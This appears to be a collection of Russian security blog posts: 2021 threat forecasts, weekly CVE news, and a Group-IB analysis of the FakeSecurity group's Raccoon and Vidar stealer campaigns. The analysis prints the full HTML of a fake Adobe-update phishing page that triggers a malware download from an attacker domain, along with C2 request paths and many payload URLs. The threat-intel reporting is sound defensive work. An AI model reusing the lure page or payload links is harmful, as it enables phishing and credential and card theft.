2. Увеличение доли сервисов, оказываемых по модели MSSP

Все больше крупных и средних организаций открывают для себя управляемые услуги, оказываемые сервис-провайдерами, по предоставлению сервисов информационной безопасности на коммерческой основе.

В России модель MSSP еще только начинает набирать обороты, хотя до мировых показателей, конечно, еще далеко. Все больше заказчиков начинают доверять сервис провайдерами, передавать на аутсорсинг ключевые IT и ИБ процессы.

3. 187 ФЗ получит новый виток в развитии

За последние несколько лет законодательство РФ в области ИБ заметно ужесточилось. Внедрение средств защиты информации в государственных организациях регламентируется приказами ФСТЭК 17 Об утверждении Требований о защите информации, не составляющей государственную тайну, содержащейся в государственных информационных системах и 21 Об утверждении Состава и содержания организационных и технических мер по обеспечению безопасности персональных данных при их обработке в информационных системах персональных данных.

Данная нормативная база будет нуждаться в обновлении: в обоих документах содержится конкретный перечень рекомендуемых для внедрения решений, однако часть из них уже технологически устаревает и не способна должным образом защитить информационные системы от современных внешних угроз. Выходит, что учреждения формально выполняют все требования по обеспечению информационной безопасности, а на деле их инфраструктура остается уязвимой.

4. Увеличение расходов на кибербезопасность, ориентированных на соблюдение требований

Ожидаемо что все больше организаций начнут увеличивать объем инвестиций в свою кибербезопасность и защиту данных, чтобы избежать санкций со стороны регулирующих органов в сочетании с дорогостоящими коллективными и индивидуальными судебными исками от клиентов, данные которых были украдены или скомпрометированы. Существенное увеличение расходов на нужды кибербезопасности, главным образом для того, чтобы избежать непредсказуемых, но потенциально больших юридических и репутационных потерь, вероятнее всего, станут отличительной чертой многих бюджетов на 2021 год.

5. Кадровый голод

Все больше молодых специалистов сразу после института хотят все и сразу не имея в своем багаже какого-либо существенного опыта. Им не интересно проходить долгий и сложный путь обучения и развития, набирая опыт и компетенции. Квалифицированные же специалисты в свою очередь, давно и успешно трудоустроены. Особенно остро такая проблема характерна для регионов с традиционно меньшим уровнем зарплат.

С точки зрения атакующих

1. Изощренные атаки программ-вымогателей стремительно увеличиваются

Для всех, кто способен покупать биткойны или другие цифровые валюты станут легко доступны программы-вымогатели как услуга (RaaS). В отличие от огромного количества убыточных стартапов, сегодняшняя сцена киберпреступности характеризуется зрелостью, высокой производительностью труда и прибыльностью: одни группы разрабатывают сложные вредоносные программы, другие готовят масштабные атаки или предоставляют многоязычную поддержку по телефону для жертв, чтобы упростить выплату выкупа в биткойнах.

2. Устаревшее программное обеспечение с открытым исходным кодом для снижения киберустойчивости

Множество недокументированного программного обеспечения с открытым исходным кодом (OSS) это бомба замедленного действия, готовая внезапно взорваться во многих компаниях малого, среднего и крупного бизнеса. В период пандемии большинство сильно пострадавших предприятий отдавало предпочтение недорогим предложениям по разработке программного обеспечения по всем другим критериям. Как следствие, они получили соответствующее качество кода и безопасность своего программного обеспечения, в том числе, с введенными недокументированными компонентами OSS и фреймворками для экономии времени программирования. Занятые феноменом WFH, команды по кибербезопасности не имеют достаточно времени для тестирования недавно разработанного программного обеспечения, которое в конечном итоге развертывается в производственной среде в условиях хаоса.

3. Bug Bounties, чтобы продолжить преобразование в тестирование на проникновение

Основоположник коммерческих платформ bug bounty продолжают изобретать себя заново, предлагая тестирование на проникновение нового поколения, red teaming и другие услуги, по подписке или разовые услуги. Примечательно, что при этом они обычно платя своим охотникам за ошибками за успех. Мировой рынок массового тестирования безопасности и раскрытия уязвимостей также нарушен бесчисленными стартапами, управляемыми сообществами и бесплатными проектами, такими как Open Bug Bounty, с более чем 1000 программами вознаграждения за ошибки на сегодняшний день.

4. Варианты атак с повторным использованием паролей, нацеленных на третьих лиц для Snowball

Несмотря на то, что 2020 год стал рекордным по количеству украденных данных и учетных данных, большинство взломанных логинов и паролей можно легко купить или найти в Dark Web и других хакерских ресурсах. Современные киберпреступники проницательны и прагматичны: они предпочитают безопасные и недорогие операции перед проведением изощренных хакерских кампаний с сопутствующим риском быть обнаруженными и привлеченными к ответственности.
В этом году мы стали свидетелями впечатляющего количества очень успешных атак с повторным использованием паролей, нацеленных на третьих лиц, и мы ожидаем, что в 2021 году их число станет еще выше.

5. Увеличенная внешняя поверхность атаки для упрощения и ускорения кибератак.

Работа из дома привела к рекордному количеству открытых ИТ-ресурсов и облачных ресурсов, от открытых серверов RDP и VPN до устройств IoT и консолей администрирования устройств безопасности, таких как защищенные шлюзы электронной почты или межсетевые экраны веб-приложений. Бесчисленные организации бросились хаотично оцифровывать свои критически важные бизнес-процессы, не предпринимая никаких мер по обеспечению кибербезопасности и защиты данных. При переходе к поставщикам общедоступных облаков и использованию широкого спектра преимуществ, связанных с новыми технологиями, включая Docker и Kubernetes, большинство организаций не инвестировали в необходимое обучение безопасности для своего ИТ-персонала.

Ожидается, что в 2021 году злоумышленники начнут свои APT-кампании с поиска таких неприхотливых плодов, прежде чем использовать дорогостоящие нулевые дни и проводить трудоемкие целевые фишинговые атаки.

6. Работа из дома, чтобы помешать и замедлить внедрение DevSecOps

DevSecOps приобрел большую популярность в последние несколько лет. Совместные усилия разработчиков программного обеспечения, ИТ-людей и кибербезопасности команд бесспорно приносят ловкость, эффективность затрат, а также позволят убедительно сократить количество данных нарушений и инцидентов в области ИБ. Хаос и серьезные разрушения пандемии COVID-19 свели на нет большую часть усилий: теперь люди работают изолированно от дома и имеют большее количество задач, что сокращает сотрудничество и общение с другими командами. Обучение внутренней безопасности также не всегда хорошо работает.

7. Киберпреступники все чаще используют машинное обучение и искусственный интеллект при разработки более эффективных атак

Уже несколько лет киберпреступники используют машинное обучение для автоматизации и оптимизации всевозможных задач и процессов: от профилирования жертв до более быстрого обнаружения устаревших систем. Однако враждебное использование ИИ сегодня преувеличено: мы все еще очень далеки от сильного ИИ в 2020 году, а с существующими системами машинного обучения и искусственного интеллекта не учитываются принципиально новые методы взлома.

Практическое использование ML / AI просто ускорит, усилит и разнообразит векторы эксплуатации и повысит эффективность полезной нагрузки эксплойтов, что в конечном итоге затронет большее количество жертв за более короткий период времени. Растущая доступность фреймворков машинного обучения и специальных аппаратных возможностей, доступных для почасовой или ежемесячной аренды, будет способствовать дальнейшему распространению злонамеренного использования ИИ киберпреступниками. Скорее всего, в 2021 году злоумышленники станут еще более эффективными, быстрыми и организованными благодаря состязательному ML / AI.

Подробнее..

Категории: Информационная безопасность , Cybersecurity , Кибербезопасность , Блог компании softline , Софтлайн , Softline

ТОП-3 ИБ-событий недели по версии Jet CSIRT

28.05.2021 16:10:14 |

Автор: admin

Сегодня пятница, а значит, специалисты Jet CSIRT снова собрали для вас ключевые новости в области ИБ. В ТОП-3 исправление критических уязвимостей у Apple и у VMware, а также взлом японских правительственных организаций. Подборку новостей собрал Игорь Фиц, аналитик Центра мониторинга и реагирования на инциденты ИБ Jet CSIRT компании Инфосистемы Джет.
Подробнее читайте под катом.

VMware исправила критические уязвимости в vCenter Server

VMware обнаружила и устранила уязвимость (CVE-2021-21985) удаленного выполнения кода (RCE) в клиенте vSphere (HTML5). Уязвимость возникла из-за отсутствия проверки входных данных в подключаемом модуле VSAN Health Check, который по умолчанию включен в vCenter Server. Для эксплуатации CVE-2021-21985 злоумышленнику нужно иметь доступ к 443 порту. Помимо RCE, VMware исправила уязвимость CVE-2021-21986, которая связана с механизмом аутентификации в подключаемых модулях vCenter Server. Исходя из критичности найденных проблем, VMware призывает пользователей vCenter немедленно обновить vCenter Server версий 6.5, 6.7 и 7.0.

Хакеры похитили данные сотрудников японских правительственных организаций

Несколько японских правительственных организаций были взломаны через инструмент обмена информацией Fujitsu ProjectWEB. По информации СМИ, получив несанкционированный доступ к информационным системам, злоумышленники завладели не менее 76000 адресами электронной почты сотрудников и подрядчиков. На данный момент инцидент затронул Министерство иностранных дел Японии, Министерство земли, инфраструктуры, транспорта и туризма Японии и международный аэропорт Нарита. Fujitsu приостановила работу ProjectWEB до тех пор, пока не будут полностью установлены масштаб и причины инцидента.

Apple исправила уязвимости нулевого дня

Компания Apple выпустила обновление безопасности, исправляющее три уязвимости нулевого дня, которые злоумышленники использовали в реальных атаках. Эксплуатация CVE-2021-30713 позволяет обойти стандартную защиту конфиденциальности TСС и тем самым получить полный доступ к диску, записи экрана и другим функциям системы, не запрашивая явного согласия от пользователя. Две другие уязвимости (CVE-2021-30663 и CVE-2021-30665) затрагивают браузерный движок WebKit на устройствах Apple TV 4K и Apple TV HD и могут привести к удаленному выполнению кода на атакованных девайсах.

Подробнее..

Категории: Информационная безопасность , Блог компании инфосистемы джет , Cybersecurity , Cybercrime

Крошка Енот как операторы JS-сниффера FakeSecurity распространяли стилер Raccoon

07.12.2020 12:09:16 |

Автор: admin

Летом 2020 года специалисты Group-IB обратили внимание на необычную кампанию по распространению стилера Raccoon. Сам стилер хорошо известен: он умеет собирать системную информацию, данные учетных записей в браузерах, данные банковских карт, а также ищет информацию о крипто-кошельках.

Сюрприз оказался в другом. Никита Ростовцев, аналитик Group-IB Threat Intelligence & Attribution, рассказывает, как в ходе исследования удалось восстановить хронологию вредоносной кампании, установить связи с другими элементами инфраструктуры злоумышленников. Забегая вперед, отметим, что енот оказался прикормленным уже известной нам группой.

Начнем с того, что сам стилер Raccoon распространяется по модели Malware-As-a-Service на одном из даркнет-форумов в связке с Telegram-каналами для того, чтобы обходить блокировку актуальных C&C-серверов.

Мы разделили кампанию на четыре этапа, которые отличаются используемыми инструментами (типом вредоносного ПО, регистраторами для создания инфраструктуры и т.п.):

Первая волна: 19 февраля 5 марта 2020 года
Вторая волна: 13 марта 22 мая 2020 года
Третья волна: 29 июня 2 июля 2020 года
Четвертая волна: 24 августа 12 сентября 2020 года

Большинство доменов в рамках исследуемой кампании были зарегистрированы у двух регистраторов Cloud2m и Host Africa. Cloud2m использовался в более ранних атаках. В середине июля 2020 года некоторые из этих доменов переехали на Host Africa.

Таймлайн вредоносных кампаний хакерской группы FakeSecurity

Мы пришли к выводу, что целью вредоносной кампании по распространению стилера была кража платежных и пользовательских данных. Для доставки вредоносного ПО злоумышленники задействовали несколько векторов атак и инструментов.

Также мы установили, что перед распространением стилера Raccoon злоумышленники в начале 2020 года работали с образцами другого стилера под названием Vidar. Для этого они использовали вложения с вредоносными макросами и фейковые веб-страницы, созданные с помощью фишинг-кита Mephistophilus.

Схема заражения жертв в кампаниях хакерской группы FakeSecurity

Схема распространения вредоносного ПО напомнила нашим экспертам паттерн, который использовали операторы семейства JS-сниффера FakeSecurity в кампании, описанной в ноябре 2019 года. Помимо сходств в инструментариях двух серий атак, они обе были нацелены на e-commerce-компании. Так, в мае 2020-го эксперты Group-IB обнаружили онлайн-магазины, которые были заражены модифицированным JS-сниффером из кампании FakeSecurity. JS-сниффер был обфусцирован при помощи aaencode, а для хранения кода и сбора украденных данных банковских карт использовались домены, которые были зарегистрированы в период активности второй волны и у тех же регистраторов, что и домены, которые мы обнаружили в исследуемой вредоносной кампании. Таким образом, за компанией по распространению стилеров, как мы считаем, стоят операторы JS-сниффера FakeSecurity.

Доменная инфраструктура вредоносных кампаний FakeSecurity

Первая волна

Первая волна регистрации доменов началась в зоне co.za 19 февраля 2020 года. Подозрительные домены содержали ключевые слова cloud, document и Microsoft. Примеры доменов, зарегистрированных в первую волну:

msupdater[.]co.za	2020-02-19
documents-cloud-server[.]co.za	2020-03-05
cloudupdate[.]co.za	2020-02-21

В рамках первой волны кампании в качестве исходного вектора использовались рассылки с вложениями, содержащими вредоносные макросы, а также фейковые веб-страницы, ведущие на загрузку вредоносного ПО.

Документы с макросами

Уже спустя девять дней после регистрации первого домена, 28 февраля, на VirusTotal через веб-интерфейс из США был загружен файл Bank001.xlsm (SHA1: b1799345152f0f11a0a573b91093a1867d64e119):

Этот файл является документом-приманкой с вредоносными макросами, который при их активации загружает полезную нагрузку из cloudupdate.co[.]za/documents/msofficeupdate.exe.

Частично обфусцированный в Base64 вредоносный макрос группы FakeSecurity

В результате происходит выполнение файла msofficeupdate.exe (SHA1: f3498ba783b9c8c84d754af8a687d2ff189615d9). C&C-сервером данного образца является badlandsparks[.]com. Этот домен был зарегистрирован 27 февраля 2020 года и связан с IP-адресом 185.244.149[.]100. Только к этому домену производят сетевое подключение более 30 файлов.

Связанная c доменом инфраструктура, выстроенная с помощью технологии графого анализа Group-IB Threat Intelligence & Attribution

Среди таких файлов присутствуют 13b7afe8ee87977ae34734812482ca7efd62b9b6 и 596a3cb4d82e6ab4d7223be640f614b0f7bd14af. Эти файлы производят сетевое подключение одновременно к gineuter[.]info, fastandprettycleaner[.]hk и к badlandsparks[.]com. Судя по запросам, которые они выполняют для загрузки библиотек, и данным из открытых источников, файл msofficeupdate.exe и подобные ему являются образцами стилера Vidar. Этот стилер злоумышленники используют для кражи данных из браузеров, в том числе истории просмотров веб-страниц и данных учетных записей, а также данных банковских карт, файлов крипто-кошельков, переписок в мессенджерах и т.д.

Админ-панель стилера Vidar

Сетевое взаимодействие образца SHA1: 596a3cb4d82e6ab4d7223be640f614b0f7bd14af (построено с помощью графа Group-IB TI&A)

Список специфичных для Vidar HTTP-запросов, а также его подробный обзор доступен по ссылке:

/ (i.e 162) <- Config

ip-api.com/line/ <- Get Network Info

/msvcp140.dll <- Required DLL

/nss3.dll <- Required DLL

/softokn3.dll <- Required DLL

/vcruntime140.dll <- Required DLL

/ <- Pushing Victim Archive to C2

Файл BankStatement1.xlsm (SHA1: c2f8d217877b1a28e4951286d3375212f8dc2335) также является документом-приманкой с вредоносными макросами и при их активации загружает файл из download-plugin[.]co.za/documents/msofficeupdate.exe. Загружаемый файл SHA1: 430a406f2134b48908363e473dd6da11a172a7e1 также является стилером Vidar и доступен для загрузки из:

download-plugin.co[.]za/documents/msofficeupdate.exe
msupdater.co[.]za/documents/msofficeupdate.exe
cloudupdate.co[.]za/documents/msofficeupdate.exe

Пример доступности файла 430a406f2134b48908363e473dd6da11a172a7e1 из разных источников

Фишинг-кит Mephistophilus

Вторым исходным вектором в рамках первой волны атак было использование фейковых веб-страниц для распространения вредоносного ПО.

Так, обнаруженные домены msupdater[.]co.za, cloudupdate[.]co.za и documents-cloud-server[.]co.za имели одинаковую А-запись 160.119.253[.]53 в одно и то же время. Судя по данным графового анализа Group-IB, на сайте documents-cloud-server[.]co.za находился фишинг-кит Mephistophilus.

Связанная инфраструктура указанных доменов (построено с помощью графа Group-IB TI&A)

Мы уже писали про этот фишинг-кит в нашей статье на Habr. С самого начала Mephistophilus позиционировался как система для целевых фишинговых атак. Этот фишинг-кит содержит несколько шаблонов фейковых веб-страниц для доставки полезной нагрузки, среди которых:

онлайн-просмотрщик документов Microsoft Office 365, Word или Excel
онлайн-просмотрщик PDF-файлов
страница-клон сервиса YouTube

Административная панель Mephistophilus

Фейковое окно обновления Adobe Reader

На домене documents-cloud-server[.]co.za находится веб-фейк, имитирующий страницу обновления плагина для Adobe Reader. Чтобы продолжить чтение документа, пользователю требуется скачать плагин. После того как жертва кликает Download plugin, загружается вредоносный файл по ссылке www[.]documents-cloud-server[.]co.za/file_d/adobe-reader-update-10.21.01.exe.

<!DOCTYPE html><html><head><title>Statment00810012.pdf</title><link href="http://personeltest.ru/aways/fonts.googleapis.com/css?family=Roboto" rel="stylesheet"><link rel="stylesheet" href="http://personeltest.ru/away/www.documents-cloud-server[.]co.za/view/pdf_v3/css/style.css"><script type="text/javascript" src="http://personeltest.ru/away/www.documents-cloud-server [.]co.za/view/pdf_v3/js/jquery.js"></script></head><body topmargin="0" leftmargin="0"><div class="toolbar"></div><div class="layer"><div class="tab"><table width="100%" height="100%" cellpadding="0" cellspacing="0"><tr><td class="tdo" width="307" valign="top" align="center"><div class="logo"></div><br><br><br><div class="bottom-text" align="center">Copyright  2017 Adobe Systems<br> Software Ireland Ltd. <br>All rights reserved</div></td><td class="tds" width="493" valign="top" align="center"><h2>Plugin update required</h2><span class="text">This document cannot be displayed correctly<br>You are using an older version of Adobe Reader PDF Plugin<br>for Google Chrome<br></span><br><br><br><a class="button" data-url="http://personeltest.ru/away/www.documents-cloud-server[.]co.za/file_d/adobe-reader-update-10.21.01.exe">Download plugin</a><br><br><br><br><div class="bottom-text" align="center"><a href="http://personeltest.ru/aways/www.adobe.com/" target="_blank" class="link">Adobe</a> / <a href="http://personeltest.ru/aways/www.adobe.com/legal/terms.html" target="_blank" class="link">Terms of Use</a> / <a href="http://personeltest.ru/aways/www.adobe.com/privacy.html" target="_blank" class="link">Privacy</a></div></td></tr></table></div></div><script>setTimeout(function(){var width = $(window).width();var height = $(window).height();$('.layer').show();$('.layer').animate({'height':height}, 1000);setTimeout(function(){$('.tab').show();},1200);},1800);$('.button').click(function(){$.post(location.href, {dl:"dlPDF2",cname:"Statement00810011"});var link = $(this).attr("data-url");window.open(link);});$(window).resize(function(){var width = $(window).width();var height = $(window).height();$('.layer').css("width",width);$('.layer').css("height",height);});</script></body></html>

Исходный код фишинговой страницы

Файл с таким же именем adobe-reader-update-10.21.01.exe впервые был загружен на VirusTotal 13 марта 2020 года и был доступен для загрузки по следующим ссылкам:

documents-cloud-server5[.]co.za/file_d/adobe-reader-update-10.21.01.exe
documents-cloud-server1[.]co.za/file_d/adobe-reader-update-10.21.01.exe
documents-cloud-server9[.]co.za/file_d/adobe-reader-update-10.21.01.exe
documents-cloud-server8[.]co.za/file_d/adobe-reader-update-10.21.01.exe

Пример доступности файла f33c1f0930231fe6f5d0f00978188857cbb0e90d из разных источников

Другой файл msofficeupdater.exe (SHA1: bdfefdff7b755a89d60de22309da72b82df70ecb) был доступен по следующим путям:

documents-cloud-server7[.]co.za/doc/msofficeupdater.exe
documents-cloud-server5[.]co.za/doc/msofficeupdater.exe
documents-cloud-server7[.]co.za/doc/msofficeupdater.exe
documents-cloud-server6[.]co.za/doc/msofficeupdater.exe
documents-cloud-server1[.]co.za/doc/msofficeupdater.exe
documents-cloud-server6[.]co.za/doc/msofficeupdater.exe
documents-cloud-server5[.]co.za/doc/msofficeupdater.exe
documents-cloud-server1[.]co.za/doc/msofficeupdater.exe

Пример доступности файла bdfefdff7b755a89d60de22309da72b82df70ecb из разных источников

Вторая волна

Домены, связанные с файлом SHA1: bdfefdff7b755a89d60de22309da72b82df70ecb, вывели нас на еще одну группу доменов, относящихся к инфраструктуре злоумышленников. Эти домены были зарегистрированы в два этапа: первая группа 13 марта 2020 года, вторая 22 мая 2020 года.

Примеры доменов второй волны:

1 группа	2 группа
cloud-server-updater[.]co.za	cloud-server-updater17[.]co.za
cloud-server-updater1[.]co.za	cloud-server-updater18[.]co.za
cloud-server-updater15[.]co.za	cloud-server-updater27[.]co.za
cloud-server-updater16[.]co.za	cloud-server-updater28[.]co.za

Эти домены были созданы для распространения стилера Raccoon. Чтобы связать данные группы доменов, можно взглянуть на файлы SHA1: b326f9a6d6087f10ef3a9f554a874243f000549d и SHA1: F2B2F74F4572BF8BD2D948B34147FFE303F92A0F. Эти файлы в процессе работы устанавливают сетевое соединение со следующими ресурсами:

cloudupdates[.]co.za
cloud-server-updater2[.]co.za
cloud-server-updater19[.]co.za

Сетевое взаимодействие файла b326f9a6d6087f10ef3a9f554a874243f000549d (построено с помощью графа Group-IB TI&A)

C доменом cloudupdates[.]co.za связано порядка 50 вредоносных файлов из публичных источников. Их первые загрузки датируются 30 апреля 2020 года, а сам домен похож на найденный ранее cloudupdate.co[.]za. Кроме схожего имени домена, он зарегистрирован через регистратора cloud2m, а в качестве NS-записей у него указаны ns1.host-ww.net и ns2.host-ww.net так же, как и у msupdater[.]co.za и cloudupdate[.]co.za.

Данные из WHOIS-записей трёх доменов

Со всеми доменами второй волны связано порядка 300 файлов из публичных песочниц. Все эти файлы являются документами-приманками, содержащими вредоносные макросы, с названиями MyBankStatement_2436.xlsm, MyBankStatement_3269.xlsm, MyBankStatement_5763.xlsm и т.п.

Образец документа-приманки 6685955C5F006C2D83A92952EB5EB3FB9598C783

Один из таких файлов MyBank_5710.xlsm (SHA1: 6685955C5F006C2D83A92952EB5EB3FB9598C783). После активации макросов в этом документе происходила загрузка файла из cloud-server-updater22[.]co.za/doc/officebuilder. Загруженный файл c SHA1: 3657CF5F2142C7E30F72E231E87518B82710DC1C является стилером Raccoon. Он подключается к своему C&C-серверу (35.228.95[.]80) для эксфильтрации собранной информации, используя инфраструктуру Google для придания легитимности запросам. В свою очередь Raccoon производит сетевое подключение к cloud-server-updater1[.]co.za/doc/officeupdate.exe для загрузки RAT AveMaria (SHA1: a10925364347bde843a1d4105dddf4a4eb88c746), C&C-сервер которого расположен на IP-адресе 102.130.118[.]152.

AveMaria RAT это троян удаленного доступа, который был обнаружен в конце 2018 года, когда он использовался для атак на итальянскую организацию, работающую в нефтегазовом секторе. Функциональные возможности данного RAT:

Повышение привилегий, поддержка от Windows 7 до Windows 10;
Персистентность;
Инжект кода;
Кейлоггер;
Доступ к камере;
Управление процессами;
Управление файлами: создание, загрузка, скачивание, удаление;
RDP с использованием rdpwrap;
Функция инфостилера:

Google Chrome;
Firefox;
Internet Explore;
Outlook;
Thunderbird;
Foxmail.

Последовательность выполнения файла 6685955C5F006C2D83A92952EB5EB3FB9598C783

Во время исполнения Raccoon выполняет следующие сетевые запросы:

Сетевые запросы файла 3657CF5F2142C7E30F72E231E87518B82710DC1C

Среди этих сетевых запросов присутствует подключение к Telegram-каналу с названием blintick.

Создатели Raccoon использовали Telegram для обхода блокировок C&C-серверов. Так, стилер выполняет запрос к Telegram-каналу, из описания которого получает зашифрованный адрес нового C&C-сервера. Первые образцы, использующие эту технику, начали появляться на VirusTotal уже в конце мая 2020 года.

Сообщение авторов стилера Raccoon

Telegram-канал blintick и его описание:

Несмотря на то, что стилер Raccoon распространяется по модели MaaS, все файлы, распространяемые в рамках второй волны, обращались к одному и тому же Telegram-каналу. Это позволяет предположить, что документы с вредоносными макросами, загружавшими Raccoon, распространялись одной и той же группой.

Третья волна

29 июня 2020 года началась регистрация доменов третьей волны:

microsoft-cloud1[.]co.za
microsoft-cloud6[.]co.za
microsoft-cloud7[.]co.za
microsoft-cloud8[.]co.za
microsoft-cloud9[.]co.za
microsoft-cloud10[.]co.za
microsoft-cloud11[.]co.za
microsoft-cloud12[.]co.za
microsoft-cloud13[.]co.za
microsoft-cloud14[.]co.za
microsoft-cloud15[.]co.za

Все зарегистрированные домены указывали на IP-адрес 102.130.112[.]195. Первые вредоносные файлы, связанные с этой волной, начали появляться в публичных песочницах уже 2 июля 2020 года. Названия этих документов-приманок почти ничем не отличаются от названия файлов, рассылаемых в прошлом: BankStatement0109_13169.xlsm, My_Statement_4211.xlsm и т.д. С вышеупомянутыми доменами, а также с доменом cloud-server-updater1[.]co.za связано порядка 30 файлов:

Сетевая инфраструктура. Связь файлов с доменами двух волн

Документы-приманки этой волны выглядят идентично прошлым и, судя по их поведению после активации макросов, были созданы одним и тем же билдером. Такие билдеры позволяют создавать офисные документы с вредоносными макросами по определенным шаблонам, что помогает злоумышленникам гораздо быстрее и эффективнее распространять вредоносные файлы.

Пример документа-приманки 618C894C06633E3D7ADD228531F6E775A180A7F7

Один из анализируемых файлов, My_Statement_1953.xlsm (SHA1: 618C894C06633E3D7ADD228531F6E775A180A7F7), во время активации макросов выполняет запрос к серверу для загрузки файла из microsoft-cloud13[.]co.za/msofficeupdate.exe. Данный файл также представляет собой стилер Raccoon. Файл стилера (SHA1: 6639081791A8909F042E4A4197DF7051382B04E5) выполняет серию запросов на свой C&C-сервер 35.198.88[.]195, а также пытается загрузить файл из cloud-server-updater1[.]co.za/doc/officeupdate.exe, но получает в ответ ошибку 302 и редирект на cloud-server-updater1[.]co.za/cgi-sys/suspendedpage.cgi вследствие блокировки оригинального домена. По всей видимости, данный образец пытался загрузить RAT AVEMARIA, как и в предыдущей волне. Кроме того, все файлы данной кампании производили сетевые запросы в том числе и к вышеупомянутому Telegram-каналу telete.in/blintick.

Сетевое взаимодействие Raccoon стилера 6639081791A8909F042E4A4197DF7051382B04E5 (построено с помощью графа Group-IB TI&A)

Использование загрузчиков

В данной кампании злоумышленники также экспериментировали с различными загрузчиками. В ходе анализа инфраструктуры мы обнаружили загрузчики Buer и Smoke.

30 апреля 2020 года на VirusTotal был загружен xls-документ (SHA1: 6c6680659b09d18ccab0f933daf5bf1910168b1a). Во время исполнения вредоносного кода он загружает полезную нагрузку из cloud-server-updater2.co[.]za/doc/buer.exe.

Сетевое взаимодействие файла SHA1:6c6680659b09d18ccab0f933daf5bf1910168b1a (построено с помощью графа Group-IB TI&A)
Кроме того, эти файлы были загружены и на публичный ресурс bazaar.abuse.ch.

Название файлов и проставленные теги относят нас к Buer Loader: bazaar.abuse.ch/sample/bc96c38e3f85c43923a37f57c096eb5b3913b516dbcb11b46cb9cfd0c1d167ce/.

Сетевое взаимодействие файла SHA1:7b1a5d9bb21d852a6dbf3146fabb1cd1ca276ed9
(построено с помощью графа Group-IB TI&A)
В ходе мониторинга инфраструктуры злоумышленников мы выявили группу связанных доменов, которая была зарегистрирована в период с 24 августа по 12 сентября 2020 года. Пример таких доменов:

Domain name	Data	IP-address
code-cloud[1-6][.]co.za	24.08.2020	102.130.115.44
google-document[.]co.za	24.08.2020	102.130.115.44
azure-cloud[1-4][.]co.za	4.09.2020	102.130.119.232
azure-cloud[1-3].web.za	4.09.2020	102.130.119.232
Updateadobeonline[.]co.za	8.09.2020	102.130.115.44
Updateforadobenew[.]co.za	9.09.2020	102.130.118.209
Oneupdateadobe[1-4][.]co.za	9.09.2020	102.130.118.209
Updateadobe[.]co.za	12.09.2020	102.130.121.74

Схожие WHOIS-записи доменов

WHOIS-записи этих доменов совпадают с WHOIS-записями доменов, ранее замеченных в этой кампании. Уже 26 августа 2020 года на публичных ресурсах начали появляться вредоносные файлы, связанные с доменами code-cloud[1-6][.]co.za и google-document[.]co.za. Один из таких файлов BankStatement_1390868739.doc (SHA1: ed5c20371bae393df0a713be72220b055e5cbdad).

Сетевое взаимодействие файла SHA1: ed5c20371bae393df0a713be72220b055e5cbdad (построено с помощью графа Group-IB TI&A)

В процессе выполнения вредоносного кода этот файл загружает полезную нагрузку из google-document[.]co.za/doc/loader.exe. Сигнатурный анализ показал, что загружаемый файл является образцом Smoke Loader.

Анализ файла loader.exe и проставленный тег Smoke loader

То, что киберпреступники в своих кампаниях дополнительно используют загрузчики, может говорить о том, что группа все еще находится в поисках лучших инструментов для себя.

Четвертая волна

Часть доменов, зарегистрированных в начале сентября 2020 года, мимикрировала под Adobe в своих названиях. Уже начиная с 14 сентября 2020 года на этих хостах, как и в первой волне, был обнаружен Mephistophilus с идентичным шаблоном.

Связь между Mephistophilus-инфраструктурой кампаний 2019 и 2020 года

Скриншот страницы-приманки Mephistophilus

Нажатие на кнопку Download plugin приводит к загрузке файла SHA1: bcfb45e5451435530156f1f02ddbb9cadf6338e9 из updateforadobenew[.]co.za/file_d/adobe-reader-v13.11.1.3.exe, который является стилером Raccoon.

Результат анализа вредоносного файла из модуля Polygon комплексной системы Group-IB Threat Hunting Framework

Создание матрицы анализируемого файла

Примечание: Примерно в середине июля 2020 года, злоумышленники удалили свой Telegram-канал. Он был восстановлен 14 сентября 2020 года и в описании также содержал зашифрованный адрес актуального C&C-сервера. На момент написания данного исследования канал вновь неактивен.

Содержимое Telegram-канала blintick

Связь с FakeSecurity

Данная вредоносная кампания имеет явное сходство с серией атак с использованием семейства JS-снифферов FakeSecurity, описанной экспертами Group-IB в ноябре 2019 года. Жертвами прошлых атак стали владельцы сайтов онлайн-магазинов, работающих на CMS Magento. В описанной ранее кампании злоумышленники также использовали такие инструменты, как стилер Vidar и фиш-кит Mephistophilus с идентичным шаблоном под обновления для Adobe. Кроме того, в обеих кампаниях злоумышленники регистрировали домены на одних и тех же хостингах.

В кампании 2020 года мы видим использование такого же вектора атак с последующим распространением стилера Raccoon. Кроме того, в ходе исследования этой кампании мы обнаружили письма, отправленные нескольким онлайн-магазинам с email-адресов bezco.quise1988@wp.pl и outtia.lene1985@wp.pl.

При детальном исследовании первой волны распространения вредоносных программ через веб-фейки Mephistophilus мы обнаружили связь между доменами этой кампании, в частности documents-cloud-server*[.]co.za, и кампанией FakeSecurity. В кампании 2020 года веб-фейки были доступны по следующим URL:

Список доменов с идентичной структурой

Согласно ресурсу urlscan[.]io, с похожей структурой было доступно порядка 20 сайтов. Среди них выделяется alloaypparel[.]com. Этот домен использовался в кампании FakeSecurity.
С марта 2020 года специалисты Group-IB начали детектировать заражения онлайн-магазинов JS-сниффером, обфусцированным при помощи алгоритма aaencode (http://personeltest.ru/aways/utf-8.jp/public/aaencode.html). Вредоносный код подгружался с домена get-js[.]com. Домен get-js[.]com имел WHOIS-записи, схожие с ранее использованными доменами этой группы:

fiswedbesign[.]com
alloaypparel[.]com
firstofbanks[.]com
magento-security[.]org
mage-security[.]org

Связь между инфраструктурой группы FakeSecutiry кампании 2019 года и доменом get-js[.]com

Фрагмент кода JS-сниффера, обфусцированного при помощи алгоритма aaencode

После снятия обфускации мы определили, что используемый для заражений вредоносный код это модифицированная версия сниффера FakeSecurity, который мы анализировали в ноябре 2019 года.

Деобфусцированный код модифицированной версии сниффера FakeSecurity

В мае 2020 года специалисты Group-IB обнаружили новые заражения сайтов онлайн-магазинов. В ходе этой кампании снова использовался модифицированный сниффер FakeSecurity, обфусцированный при помощи aaencode. Вредоносный код внедрялся либо по ссылке при помощи тега script, либо путем модификации существующих JavaScript-файлов сайта. С помощью этого сниффера был скомпрометирован 21 онлайн-магазин. Для хранения кода и сбора украденных данных банковских карт в ходе новой кампании использовались следующие домены:

cloud-js[.]co.za
host-js[.]co.za
magento-cloud[.]co.za
magento-js[.]co.za
magento-security[.]co.za
marketplace-magento[.]co.za
marketplacemagento[.]co.za
node-js[.]co.za
node-js[.]co.za
payment-js[.]co.za
security-js[.]co.za
web-js[.]co.za

Дата их создания 24 апреля 2020 года (вторая волна). Эти домены были зарегистрированы у тех же регистраторов, что и домены, использовавшиеся для распространения стилеров Vidar, Raccoon, а также загрузчиков Buer и Smoke.

